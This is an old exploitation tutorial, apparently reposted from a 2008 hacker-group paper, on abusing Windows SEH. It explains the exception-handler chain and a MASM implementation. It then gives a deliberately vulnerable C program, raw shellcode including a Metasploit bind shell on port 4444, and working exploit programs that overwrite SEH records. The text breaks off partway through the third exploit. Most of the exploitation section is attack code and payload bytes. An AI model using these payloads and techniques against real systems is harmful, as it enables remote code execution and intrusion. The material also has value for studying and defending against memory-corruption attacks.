Playing around with (old?)SEH

来源:互联网 发布:g92车内螺纹编程实例 编辑:程序博客网 时间:2024/05/29 09:29
 
                     ..//..//..//..//..//.|.//..//.//..//..//..                    [-]                                      [+]                    [+]     Playing around with (old?)SEH    [-]                    [-]     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    [+]                    [+]                                      [-]                    [-]     bY suN8Hclf aka crimsoN_Loyd9    [+]                    [+]                                      [-]                    [-]   DaRk-CodeRs Group production, kid  [+]                    [+]                                      [-]                    [-]          www.dark-coders.pl          [+]                                  [+]                                      [-]                    [-]              08.06.2008              [+]                    [+]                                      [-]                    [-]        suN8Hclf[at]vp{dot}.pl        [+]                    [+]   crimson{dot}loyd[at]gmail{dot}com  [-]                    [-]                                      [+]                     ..//..//..//..//..//.|.//..//..//..//..//..[>>1<<]. Introduction[>>2<<]. SEH (Structured Exception Handler)[>>3<<]. Coding SEH         [>a<] introduction         [>b<] implementation[>>4<<]. Exploiting SEH         [>a<] shellcodes         [>b<] vulnerable vuln.exe         [>c<] WIN2000 vs. WINXP SP1 (EBX vs. ESP)               [***exploit1.c](classic overflow)               [***exploit2.c](using 2 bytes short reverse jump)               [***exploit3.c](using long reverse jump)               [***exploit4.c](execution in TEB block)[>>5<<]. Summary[>>6<<]. Further reading[>>7<<]. GreetzNOTE: Please excuse my poor English, its not my mother language.><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><>               [>>1<<]. Introduction                     <>---------------------------------------------------------<This paper is about a very powerful but not so good documented mechanism,which was introduced and implemented in Windows 2000 SP1-SP4 and XP SP0-SP1,and is called Structured Exception Handler (in summary SEH).Someone can think that writing about quite old implementations is wasting of time,in times when we have protections such as DEP (Data Execution Prevention), /GSor /SAFESEH switches. But, in my opinion, this paper contains a good introductioninto the SEH's workings and provides firm bases to understand exploitationmethods in Windows Server 2003, Windows XP SP2 or Windows Vista platforms.This paper is an attempt to show and discuss SEH, from the coding and exploitationside.At the beginning, I will show how to write our own implementation of try, except and finally instructions, later I will discuss some methods of abusing SEH and at the end, I will show 4 completely working exploits, which abuses SEH to execute any code.For better understanding of this paper, I recommend you to read my article:"Shellcode locations and buffer overflows in Windows" [1]Ok, so lets go!!!><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><>      [>>2<<]. SEH (Structured Exception Handler)        <>---------------------------------------------------------<Structured Exception Handler is a piece of code, that is executedin case of a problem during the execution of a process. This problem can be:1.disruption of the access privilidges2.division by 03.an attempt to read or write from/to forbidden memory areasIt can be also used as a trick to complicate debugging process.When we call a function, a special "frame of calling" is created on the stack.The information about exception handler procedure is than put down into that "frame of calling" in the EXCEPTION_REGISTRATION structure. This structure contains two elements: a pointer to the next EXCEPTION_REGISTRATION structure (*next) and a pointer to the right exception handler procedure (*handler). It is very importantthat every process's thread has at least one exception handler procedure, that is created (the EXCEPTION_REGISTRATION structure) during the thread creation and it is always located at the beginning of the segment pointed by FS register. The last position on the list, contains -1(0xFFFFFFFF) value and the address of RtlUnwind funtion, which is not documented but it is located in kernel32.dll library.EXCEPTION_REGISTRATION structure looks like the following(C style):typedef struct EXCEPTION_REGISTRATION{EXCEPTION_REGISTRATION *next;PEXCETION_HANDLER *handler;}EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;And the linked list of EXCEPTION_REGISTRATION structures looks like this:               __________________________________               |Thread Information Block(fs:[0])|----------+               |           ...                  |          |               |           ...                  |          |               |      EXCEPTION_REGISTRATION    |          |               +--------------------------------+          |                                                           |                                                           |              +----------------------------------+         |              |     EXCEPTION_REGISTRATION       | <-------+              +----------------------------------+              |    [Handler Callback Pointer]    |               |                                  |    +---------|             [*next]              |    |         +----------------------------------+    |    |         +----------------------------------+             +-------->|     EXCEPTION_REGISTRATION       |               +----------------------------------+                       |    [Handler Callback Pointer]    |                       |                                  |                       |             [*next]              |---------+                       +----------------------------------+         |                                                           |              +----------------------------------+         |              |     EXCEPTION_REGISTRATION       | <-------+              +----------------------------------+              |    [Handler Callback Pointer]    |               |                                  |     +--------|             [*next]              |     |        +----------------------------------+     |     |     |        +----------------------------------+              +------->|          (END OF LIST)           |              +----------------------------------+              |           0xFFFFFFFF             |              +----------------------------------+><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><>                  [>>3<<]. Coding SEH                    <>---------------------------------------------------------<Lots of programming languages has a set of special instructions to installexception handler procedures. For instance: In C/C++ there is a construction:try, except/catch, finally, that catches the exception. Basically, this instructionsonly modify the linked list of EXCEPTION_REGISTRATION structures, therefore we wont use them and for better and deeper understanding of this mechanism, we will write everything in Assembly language(masm32).>>>>>>>>>>>>>>>>[>a<] introduction~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Let's assume that this code appeared in a program(from OllyDbg):00401000    .  B8 40000000              MOV EAX,4000401005    .  33C9                     XOR ECX,ECX00401007    .  F7F9                     IDIV ECX00401009    .  6A 00                    PUSH 0                            [!]0040100B    .  E8 00000000              CALL <JMP.&kernel32.ExitProcess>  [!]This code on the 100 percent will raise an exception (division by zero is impossible). The two last instructions wont be executed. Here is a program behaviour when the exception will accure:ntdll!KiUserExceptionDispatcher77FA15FC     8B1C24                     MOV EBX,DWORD PTR SS:[ESP]77FA15FF     51                         PUSH ECX77FA1600     53                         PUSH EBX                 ; kernel32.7934000077FA1601     E8 F13AFFFF                CALL ntdll.77F950F7 ------+                                                                  |                                                                  |                                                                  |                                                                  |77F950F7     55                         PUSH EBP    <-------------+77F950F8     8BEC                       MOV EBP,ESP77F950FA     83EC 60                    SUB ESP,6077F950FD     53                         PUSH EBX77F950FE     56                         PUSH ESI      ; kernel32.GetProcAddress77F950FF     8D45 F4                    LEA EAX,DWORD PTR SS:[EBP-C]77F95102     57                         PUSH EDI      ; kernel32.7939759877F95103     50                         PUSH EAX77F95104     8D45 F8                    LEA EAX,DWORD PTR SS:[EBP-8]77F95107     50                         PUSH EAX77F95108     E8 779AFFFF                CALL ntdll.77F8EB8477F9510D     E8 8D9AFFFF                CALL ntdll.77F8EB9F77F95112     8365 FC 00                 AND DWORD PTR SS:[EBP-4],077F95116     8BD8                       MOV EBX,EAX77F95118     83FB FF                    CMP EBX,-177F9511B     0F84 C1CC0100              JE ntdll.77FB1DE277F95121     8B75 08                    MOV ESI,DWORD PTR SS:[EBP+8] 77F95124     3B5D F8                    CMP EBX,DWORD PTR SS:[EBP-8] ; kernel32.79348EC877F95127     8D43 08                    LEA EAX,DWORD PTR DS:[EBX+8]77F9512A     0F82 AECC0100              JB ntdll.77FB1DDE77F95130     3B45 F4                    CMP EAX,DWORD PTR SS:[EBP-C] ; kernel32.7935F0B477F95133     0F87 A5CC0100              JA ntdll.77FB1DDE77F95139     F6C3 03                    TEST BL,377F9513C     0F85 9CCC0100              JNZ ntdll.77FB1DDE77F95142     F605 86F5FC77 80           TEST BYTE PTR DS:[77FCF586],8077F95149     0F85 18CC0100              JNZ ntdll.77FB1D6777F9514F     FF73 04                    PUSH DWORD PTR DS:[EBX+4]77F95152     8D45 F0                    LEA EAX,DWORD PTR SS:[EBP-10]77F95155     50                         PUSH EAX77F95156     FF75 0C                    PUSH DWORD PTR SS:[EBP+C]77F95159     53                         PUSH EBX77F9515A     56                         PUSH ESI          ; kernel32.GetProcAddress77F9515B     E8 E599FFFF                CALL ntdll.77F8EB45 -------+                                                                   |                                                                   |                                                                   |                                                                   |77F8EB45     BA B651F977                MOV EDX,ntdll.77F951B6 <---+77F8EB4A     55                         PUSH EBP77F8EB4B     8BEC                       MOV EBP,ESP77F8EB4D     FF75 0C                    PUSH DWORD PTR SS:[EBP+C]77F8EB50     52                         PUSH EDX77F8EB51     64:FF35 00000000           PUSH DWORD PTR FS:[0]77F8EB58     64:8925 00000000           MOV DWORD PTR FS:[0],ESP77F8EB5F     FF75 14                    PUSH DWORD PTR SS:[EBP+14]77F8EB62     FF75 10                    PUSH DWORD PTR SS:[EBP+10]77F8EB65     FF75 0C                    PUSH DWORD PTR SS:[EBP+C]77F8EB68     FF75 08                    PUSH DWORD PTR SS:[EBP+8]77F8EB6B     8B4D 18                    MOV ECX,DWORD PTR SS:[EBP+18]    [4]77F8EB6E     FFD1                       CALL ECX                         [5]This code can be long analized to get to know all details how Windows prepares thehandling of exceptions. But, it is not essential at this moment. The mostimportant thing, is to understand general conception, which is presented below:1. When an exception occures, program jumps to KiUserExceptionDispatcher2. Then the RTLTraceDatabaseEnumerate function's code is executed3. Later, the piece of RTLConvertlongToLargeInteger's code4. Finally, the address of the exception handler procedure is loaded into   ECX register ([4]).This is the address from the first structure pointed by   fs:[0].5. There is a jump to the exception handler procedure (call ECX) ([5])6. Now the exception handler procedure has the full control over a program's behaviour.   This procedure can for example close the process in the "elegant" way or try to repair    the "thing", that caused an exception.                          >>>>>>>>>>>>>>[>b<] implementation~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Now, when we know the basics of the exceptions handling, we can write our own"implementation" of the try, except/catch, finally construction. To achieve thiswe have got to create our own EXCEPTION_REGISTRATION structure and insert itat the beginning of the linked list. So fs:[0] should point to our structure. Thegeneral idea is showed below:BEFORE------------------fs:[0]  ->>> |EXCEPTION_REGISTRATION1|  ->>> |EXCEPTION_REGISTRATION2|  .... ->>> 0xFFFFFFFFAFTER------------------fs:[0]  ->>> |OUR_EXCEPTION_REGISTRATION1| ->>> |EXCEPTION_REGISTRATION1| .... ->>>> 0xFFFFFFFFTo accomplish the state showed above, we have got to do the following:1. Save the pointer from FS:[0], that points to the first EXCEPTION_REGISTRATION2. Create our own EXCEPTION_REGISTRATION structure where:   a> the *handler pointer points to our own exception handler procedure   b> we set the address to the function, which will be "always" executed (finally      instruction)    c> the *next pointer points to the remembered address of the original first       EXCEPTION_REGISTRATION structure (original FS:[0] value)3. Set the address from FS:[0] to point to our EXCEPTION_REGISTRATION structure4. Save current values of the stack pointer and the frame pointer (ESP and EBP)To do the second point we can use the following structure:---------------------------------CODE----------------------------------SEH structPrevLink dd ?  ; [1]CurrentHandler dd ?; [2]SafeOffset dd ?        ; [3]PrevEsp dd ?; [4]PrevEbp dd ?; [5]SEH ends---------------------------------CODE----------------------------------[1] -> address of the first EXCEPTION_REGISTRATION structure (fs:[0])[2] -> address of our structured handler procedure[3] -> address of the procedure to execute "despite of everything" (finally instruction) [4] -> current ESP value[5] -> current EBP valueNext actions:ad 1.   push fs:[0]ad 2.a) mov seh.CurrentHandler, OFFSET myFunc     b) mov seh.SafeOffset, OFFSET final     c) pop seh.PrevLinkad 3.   lea eax, seh        mov fs:[0], eaxad 4.   mov seh.PrevEsp,esp        mov seh.PrevEbp,ebpHere is an exemplary program:---------------------exception_implementation.asm-----------------; Compilation:  ml /Cp /c /coff exception_implementation.asm; Linking    :  link /subsystem:windows exception_implementation.obj.386.model flat,stdcalloption casemap:noneinclude d:/masm32/include/windows.incinclude d:/masm32/include/kernel32.incinclude d:/masm32/include/user32.incincludelib d:/masm32/lib/user32.libincludelib d:/masm32/lib/kernel32.libSEH structPrevLink dd ?CurrentHandler dd ?SafeOffset dd ?PrevEsp dd ?PrevEbp dd ?SEH ends.datanapis  db "IN exception",0napis2 db "OUT of Exception",0tytul  db "Hello",0.codestart procLOCAL seh:SEHassume fs:nothingpush fs:[0]pop seh.PrevLinkmov seh.CurrentHandler,offset SEHHandlermov seh.SafeOffset,offset FinalExitlea eax,sehmov fs:[0], eaxmov seh.PrevEsp,espmov seh.PrevEbp,ebp; Now the structured handler procedure has been installed. Every exception; will execute OUR function (SEHHandler)mov eax, 40hmov ecx, 0idiv ecx        ;lets cause an exception... ;>FinalExit:invoke MessageBox, NULL, addr napis2, addr tytul, MB_OKinvoke ExitProcess, 0start endpSEHHandler proc C uses edx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORDmov edx,pFrameassume edx:ptr SEHmov eax,pContextassume eax:ptr CONTEXTpush [edx].SafeOffsetpop [eax].regEip           push [edx].PrevEsppop [eax].regEsppush [edx].PrevEbppop [eax].regEbp      invoke MessageBox, NULL, ADDR napis,ADDR tytul, MB_OKmov eax,ExceptionContinueExecutionretSEHHandler endpend start---------------------exception_implementation.asm-----------------><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><>                  [>>4<<]. Exploiting SEH                <>---------------------------------------------------------<>>>>>>>>>>>>>>>>[>a<] shellcodes~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~During this paper I will be using two shellcodes:>The first one<:"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3""/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0""/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90""/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0""/x75/x73/x65/x72/x33/x32/x61";In details:00401B7C     EB 02          JMP SHORT vuln.00401B8000401B7E     EB 05          JMP SHORT vuln.00401B8500401B80     E8 F9FFFFFF    CALL vuln.00401B7E00401B85     5B             POP EBX00401B86     33C9           XOR ECX,ECX00401B88     83C3 35        ADD EBX,3500401B8B     880B           MOV BYTE PTR DS:[EBX],CL00401B8D     83EB 06        SUB EBX,600401B90     53             PUSH EBX00401B91     B8 CF053579    MOV EAX,KERNEL32.LoadLibraryA  //check the address of LoadLibraryA on your own00401B96     FFD0           CALL EAX00401B98     33C9           XOR ECX,ECX00401B9A     51             PUSH ECX00401B9B     53             PUSH EBX00401B9C     53             PUSH EBX00401B9D     51             PUSH ECX00401B9E     05 11111111    ADD EAX,11111111  00401BA3     2D 79900E11    SUB EAX,110E9079 00401BA8     FFD0           CALL EAX                 //here, in eax should be an address of 00401BAA     33C9           XOR ECX,ECX              //MessageBoxA function00401BAC     51             PUSH ECX00401BAD     B8 1AE03479    MOV EAX,KERNEL32.ExitProcess      //address of ExitProcess00401BB2     FFD0           CALL EAX00401BB4     75 73          JNZ SHORT vuln.00401C29          //coded 'user32.dll' string00401BB6     65:72 33       JB SHORT vuln.00401BEC00401BB9     3261           XOR AL,BYTE PTR DS:[EAX]Wow, I have written it under Windows 2000 Service Pack 4 Polish. If you areusing another Windows platform, you should change address of LoadLibraryA,MessageBoxA and ExitProcess in kernel32 and User32 to good ones.As you can see, this simple code simply invokes MessageBoxA and thenit terminates the process.>The second one<// win32_bind - Encoded Shellcode [/x00/x0a/x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  //http://metasploit.comunsigned char shellcode[] ="/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85""/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19""/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05""/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0""/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74""/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15""/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14""/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53""/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce""/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf""/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb""/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18""/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6""/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16""/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f""/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c""/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18""/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f""/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8""/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e""/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f""/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27""/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2""/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a""/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";The second, was generated in Metasploit Framework. It bindsWindows shell (cmd.exe) to port 4444 and waits for a connection.>>>>>>>>>>[>b<] vulnerable vuln.exe~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Generally speaking, during the process of exploitation, we want to overwrite the*handler pointer. This is the only thing that we have got to do, when we want our code be executed during an exception.Ok, so now an exception accures...Then, the overwritten *handler pointer is loaded into the ECX register and thereis a call to it (call ECX). And now we have a problem...Where should we jump?In Windows 2000 SP1-SP4 and Windows XP Unpatched, during the preparation to execute Structured Exception Handler and during the execution of the *handler code, the EBX register points to the current EXCEPTION_REGISTRATION structure. The easiest way to execute ourown code looks like the following:1. The *next field should be overwritten with the short 6 bytes ahead jump2. The *handler field should be overwritten with a jump to EBX (jmp EBX, call EBX   push EBX-ret)3. We put our shellcode with a NOP sledge behind the EXCEPTION_REGISTRATION structureBefore we test this idea, lets write a very easy and vulnerable program:----------------vuln.c---------------------#include <stdio.h>#include <windows.h>int main(int argc, char *argv[]){  char buffer[300];  int a;  strcpy(buffer, argv[1]);   [1]     a=3/0;                     [2]                      return 0;}---------------vuln.c----------------------Before we start, lets make some guide lines. First of all, to accomplishthe scenario, which I have described above, it is essential to cause an exception in the vulnerable program. If we run the vuln.exe program witha short string, it will crash on the [2] instruction. It will raise an exception,a default *handler procedure will be executed, program will be terminated andwe will lose a chance to gain administrator privileges :).On the other side the instuction above[2], copies data to the constant sizedbuffer on the stack and it does not check the data's length. So we can causebuffer overflows and execute our code. Of course, in practice there would notbe instruction[2] because the overwritten EIP register(classic buffer overflow)would cause an exception. [2] is only here, to show that program wont crashduring division by 0, and it will execute any code.[NOTE1 !!!!!]********************************************************************************To make our thinking much easier lets assume that 416 bytes is the maximum of**data that DOES NOT overwrite the *next pointer int the EXCEPTION_REGISTRATION**structure on the stack.                                                      *[NOTE2!!!!]********************************************************************************All constants values in the exploits's code ware counted during testing and  **debugging. It is a mistake to assume that they are good in all conditions.   **If you exactly understand a method of exploitation, you wont have any        **problems to choose the right "constant" values.                              *>>>>>>>>[>c<] WIN2000 vs. WINXP SP1~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~As I have written above in Win2000 and unpatched WINXP, during the preparationto execute and execution of the exception handler procedure, the EBX registerpoints to the current EXCEPTION_REGISTRATION structure. In this case the situationis quite simple. We overwrite the *handler poiner with the jmp to the EBX and we have full control over the program execution.The problem occures in Windows XP SP1. Here, the code, that prepares to pass thecontrol to exception handler procedure, is additionally supplemented with zero-ing"crytical" registers:(from ntdll.dll):7C903767    53              PUSH EBX7C903768    56              PUSH ESI7C903769    57              PUSH EDI                     ; ntdll.7C9107387C90376A    33C0            XOR EAX,EAX7C90376C    33DB            XOR EBX,EBX    <-- fuck, and what we gonna do now? ;( 7C90376E    33F6            XOR ESI,ESI7C903770    33FF            XOR EDI,EDI                  ; ntdll.7C910738Later, there is useless for us code and then there is an execution of theexception handler procedure (the same as in Win2000):(from ntdll.dll)7C903799    55              PUSH EBP7C90379A    8BEC            MOV EBP,ESP7C90379C    FF75 0C         PUSH DWORD PTR SS:[EBP+C]7C90379F    52              PUSH EDX                                 ; ntdll.7C9037D87C9037A0    64:FF35 0000000>PUSH DWORD PTR FS:[0]7C9037A7    64:8925 0000000>MOV DWORD PTR FS:[0],ESP7C9037AE    FF75 14         PUSH DWORD PTR SS:[EBP+14]7C9037B1    FF75 10         PUSH DWORD PTR SS:[EBP+10]7C9037B4    FF75 0C         PUSH DWORD PTR SS:[EBP+C]7C9037B7    FF75 08         PUSH DWORD PTR SS:[EBP+8]7C9037BA    8B4D 18         MOV ECX,DWORD PTR SS:[EBP+18]  <-- *handler to ECX7C9037BD    FFD1            CALL ECX                  <-- jump to exception handler procedureSo, when Windows passes the control to the exception handler procedure, the EBXregister contains 0. We cannot simply jump to EBX because this will raise anotherexception and program will be terminated immediately. The situation seems verybad but if we only look at the stack image before the execution of *handler procedurewe will find the solution very fast.ESP   ->   the return address (somewhere in ntdll.dll)ESP+4 ->   the exception's indicatorESP+8 ->   the address of the EXCEPTION_REGISTRATION structureSo, instead of jumping to EBX we can:1. jmp dword ptr[esp+8]2. pop - pop - retThe second sequence will add 8 to ESP and then will jump to the address, that is on thetop of the stack.Now, we know everything so we can start exploiting SEH :)@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&>&>&<&><&>&<>&<>&<&><&>666[***exploit1.c]666<&><&>&<>&<>&<&><&>&<&<&+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++                          (classic overflow)As I have written before, we pass to the vuln.exe the folowing string:                        +--------->-------->-----------+                        |                              |[416 bytes of trash][jmp 6][jmp ebx, pop-pop-ret][some NOPs][shellcode]--------------------------------exploit1.c-------------------------------#include <stdio.h>#include <stdlib.h>#include <windows.h>#define RET 0x79396DBE    // the address of jmp ebx (win2000) or pop-pop-ret (win XP SP2)#define JUMP 0x909006EB   // jmp 6#define TRASH 0x41char shellcode[]="/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3""/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0""/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90""/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0""/x75/x73/x65/x72/x33/x32/x61";int main(int argc, char *argv[]){char *bufExe[3];char buf[700];int i;char *ptr = buf;memset(buf, 0, sizeof(buf));bufExe[0] = "vuln.exe";bufExe[2] = NULL;for(i=0;i<416;i++)(*ptr++) = TRASH;*(unsigned long *)&buf[416] = JUMP;*(unsigned long *)&buf[420] = RET;strcat(buf, "/x90/x90/x90/x90");strcat(buf, shellcode);bufExe[1] = buf;execve(bufExe[0],bufExe,NULL);return 0;}--------------------------------exploit1.c-------------------------------@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&>&>&<&><&>&<>&<>&<&><&>666[***exploit2.c]666<&><&>&<>&<>&<&><&>&<&<&+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++                  (using 2 bytes short reverse jump)Another interesting way to abuse SEH is to use 2-bytes reverse short jump. Instead of placing shellcode behind the EXCEPTION_REGISTRATION structure, we put it in the vuln.exe's buffer and we use short reverse jump to execute the code.A great article about 2-bytes reverse short jumps can be found at[2]       +-------<----------<-------<-----------+       |                                      |[NOP Sledge][shellcode][some NOPS][short reverse jump][jmp ebx, pop-pop-ret]--------------------------------exploit2.c-------------------------------#include <stdio.h>#include <stdlib.h>#include <windows.h>#define RET 0x79392C0B      //jmp ebx, pop-pop-ret#define JUMP 0x909080EB     //short reverse jump (jmp 80)#define TRASH 0x90char shellcode[] = "/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x5B/x33/xC9/x83/xC3""/x35/x88/x0B/x83/xEB/x06/x53/xB8/xCF/x05/x35/x79/xFF/xD0""/x33/xC9/x51/x53/x53/x51/x05/x11/x11/x11/x11/x2D/x79/x90""/x0E/x11/xFF/xD0/x33/xC9/x51/xB8/x1A/xE0/x34/x79/xFF/xD0""/x75/x73/x65/x72/x33/x32/x61";                int main(int argc, char *argv[]){char *bufExe[3];char buf[700];int i;char *ptr = buf;memset(buf, 0, sizeof(buf));bufExe[0] = "vuln.exe";bufExe[2] = NULL;for(i=0;i<310;i++)(*ptr++) = TRASH;strcat(buf, shellcode);                  for(i=sizeof(shellcode)+307;i<416;i++)strcat(buf, "/x90");*(unsigned long *)&buf[416] = JUMP;*(unsigned long *)&buf[420] = RET;bufExe[1] = buf;execve(bufExe[0],bufExe,NULL);return 0;}--------------------------------exploit2.c-------------------------------As you can see, it is very important to jump to the NOPS before the shellcode.Short jumps are... SHORT !!! :) so shellcode should be as near as possible toEXCEPTION_REGISTRATION structure.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&>&>&<&><&>&<>&<>&<&><&>666[***exploit3.c]666<&><&>&<>&<>&<&><&>&<&<&+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++                      (using long reverse jump)Till now, we were playing with quite small (short) shellcode (the first one).To execute larger shellcodes (400 bytes in our case) we have got to find a place for it. Here the knowledge from my paper [1] will be very very useful.As you probably know, we cannot use the first method to execute our secondshellcode because it will be cut (shellcode). The second method with short jumpwould also fail because the range of the jump is too small. It wont jumpover 400 bytes of shellcode + some NOP's.The good idea is a small modyfication of the second method. We also place ourshellcode in the vuln.exe's buffer and we ALSO jump there but in another way :)To accomplish it, we have got to know the approximate location of the shellcodeon the stack. In case of Win2000 it is very simple, because the EBX registerpoints to the current EXCEPTION_REGISTRATION structure, so the buffer must besomewhere before the structure.But on Win XP SP1 there is a problem because the EBX register is zeroed, thereforewe have got to find another point of reference to count the address, where theshellcode was placed. We can use the current stack pointer (ESP). But this time,we have got to add a value to ESP and than jump.--------------------------------exploit3.c-------------------------------#include <stdio.h>#include <stdlib.h>#include <windows.h>#define RET 0x79392C0B          //jmp ebx or pop-pop-ret#define JUMP 0x909006EB         //jump 6char shellcode[]="/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85""/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19""/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05""/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0""/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74""/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15""/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14""/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53""/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce""/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf""/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb""/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18""/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6""/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16""/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f""/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c""/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18""/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f""/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8""/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e""/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f""/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27""/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2""/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a""/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";//NOTE!: DELETE needless/* WIN 2000 and XP Unpached * EBX-based addressing */char minicode[] = 